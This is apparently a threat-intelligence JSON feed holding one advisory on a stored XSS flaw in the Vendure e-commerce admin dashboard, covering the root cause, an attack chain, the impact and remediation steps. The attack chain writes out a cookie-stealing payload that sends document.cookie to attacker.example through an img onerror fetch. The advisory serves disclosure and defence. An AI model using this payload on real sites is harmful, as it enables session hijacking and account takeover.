{"description":"Trending threats, MITRE ATT\u0026CK coverage, and detection metadata. Fed continuously.","favicon":"https://feed.craftedsignal.io/favicon-32x32.png","feed_url":"https://feed.craftedsignal.io/tags/dashboard/feed.json","home_page_url":"https://feed.craftedsignal.io/","icon":"https://feed.craftedsignal.io/apple-touch-icon.png","items":[{"_cs_actors":[],"_cs_cpes":["cpe:2.3:a:vendure:vendure:*:*:*:*:*:*:*:*"],"_cs_cves":[{"cvss":8.7,"id":"CVE-2026-63459"}],"_cs_exploited":false,"_cs_has_poc":false,"_cs_poc_references":[],"_cs_products":["Vendure Dashboard (\u003c 3.6.5)"],"_cs_severities":["high"],"_cs_tags":["xss","web-vulnerability","dashboard","ecommerce"],"_cs_type":"advisory","_cs_vendors":["Vendure"],"content_html":"\u003cp\u003eThe Vendure e-commerce framework contains a high-severity stored Cross-Site Scripting (XSS) vulnerability, tracked as CVE-2026-63459, residing in the \u003ccode\u003e@vendure/dashboard\u003c/code\u003e package. The flaw exists within the \u003ccode\u003eRichTextDescriptionCell\u003c/code\u003e component, which is responsible for rendering entity descriptions in various administrative list views, including products, collections, promotions, payment methods, and shipping methods.\u003c/p\u003e\n\u003cp\u003eThe application attempts to strip HTML from user-supplied descriptions by assigning raw string input to the \u003ccode\u003einnerHTML\u003c/code\u003e property of a detached \u003ccode\u003ediv\u003c/code\u003e element. Because browsers parse and execute active markup within \u003ccode\u003einnerHTML\u003c/code\u003e - even in detached nodes - payloads such as \u003ccode\u003e\u0026lt;img\u0026gt;\u003c/code\u003e tags with \u003ccode\u003eonerror\u003c/code\u003e event handlers trigger immediately upon assignment. This enables a lower-privileged channel-scoped administrator to inject malicious scripts that execute with the permissions of any administrator who views the list containing the payload. Successful exploitation leads to session hijacking, token exfiltration, or the unauthorized performance of administrative actions within the dashboard. The vulnerability affects all versions of \u003ccode\u003e@vendure/dashboard\u003c/code\u003e prior to 3.6.5.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker gains access to an administrator account with at least catalog, promotion, or settings write permissions.\u003c/li\u003e\n\u003cli\u003eAttacker modifies a product, collection, or promotion entity description via the administrative API.\u003c/li\u003e\n\u003cli\u003eAttacker embeds a malicious payload within the description field using active markup, such as \u003ccode\u003e\u0026lt;img src=x onerror=\u0026quot;fetch('https://attacker.example/'+document.cookie)\u0026quot;\u0026gt;\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe application stores this malicious description string in the database as part of the entity configuration.\u003c/li\u003e\n\u003cli\u003eA high-privileged administrator (e.g., a superadmin) navigates to the administrative list view (e.g., Products, Promotions) in the Vendure dashboard.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003eRichTextDescriptionCell\u003c/code\u003e component retrieves the malicious description and assigns it to a \u003ccode\u003ediv\u003c/code\u003e element via \u003ccode\u003einnerHTML\u003c/code\u003e during the React rendering cycle.\u003c/li\u003e\n\u003cli\u003eThe browser parses the \u003ccode\u003e\u0026lt;img\u0026gt;\u003c/code\u003e tag, fails to find the image source, and immediately executes the \u003ccode\u003eonerror\u003c/code\u003e JavaScript payload in the victim administrator's browser session.\u003c/li\u003e\n\u003cli\u003eThe script exfiltrates the victim's session token or performs unauthorized actions, achieving account or store compromise.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation allows for the compromise of high-privileged administrative accounts by lower-privileged administrators. This results in the loss of integrity and confidentiality for the e-commerce store, including potential unauthorized changes to products, pricing, or system configurations, and complete account takeover.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade Vendure to version 3.6.5 or later immediately to resolve the vulnerable \u003ccode\u003eRichTextDescriptionCell\u003c/code\u003e implementation.\u003c/li\u003e\n\u003cli\u003eAudit administrative activity logs for unexpected \u003ccode\u003ePATCH\u003c/code\u003e or \u003ccode\u003ePOST\u003c/code\u003e requests to product, collection, or promotion endpoints containing HTML tags or script-like patterns.\u003c/li\u003e\n\u003cli\u003eImplement Content Security Policy (CSP) headers to restrict unauthorized script execution and \u003ccode\u003efetch\u003c/code\u003e requests within the administrative dashboard interface.\u003c/li\u003e\n\u003cli\u003eIf immediate patching is not possible, restrict administrative write permissions for description fields to the minimum number of trusted users.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-09-17T19:15:10Z","date_published":"2026-09-17T19:15:10Z","id":"https://feed.craftedsignal.io/briefs/2026-09-vendure-xss/","summary":"A stored Cross-Site Scripting (XSS) vulnerability in the Vendure Admin Dashboard allows authenticated administrators to execute arbitrary JavaScript in the context of other users viewing entity lists, leading to potential account takeover.","title":"Stored XSS in Vendure Admin Dashboard via Unsafe HTML Stripping","url":"https://feed.craftedsignal.io/briefs/2026-09-vendure-xss/"}],"language":"en","title":"CraftedSignal Threat Feed - Dashboard","version":"https://jsonfeed.org/version/1.1"}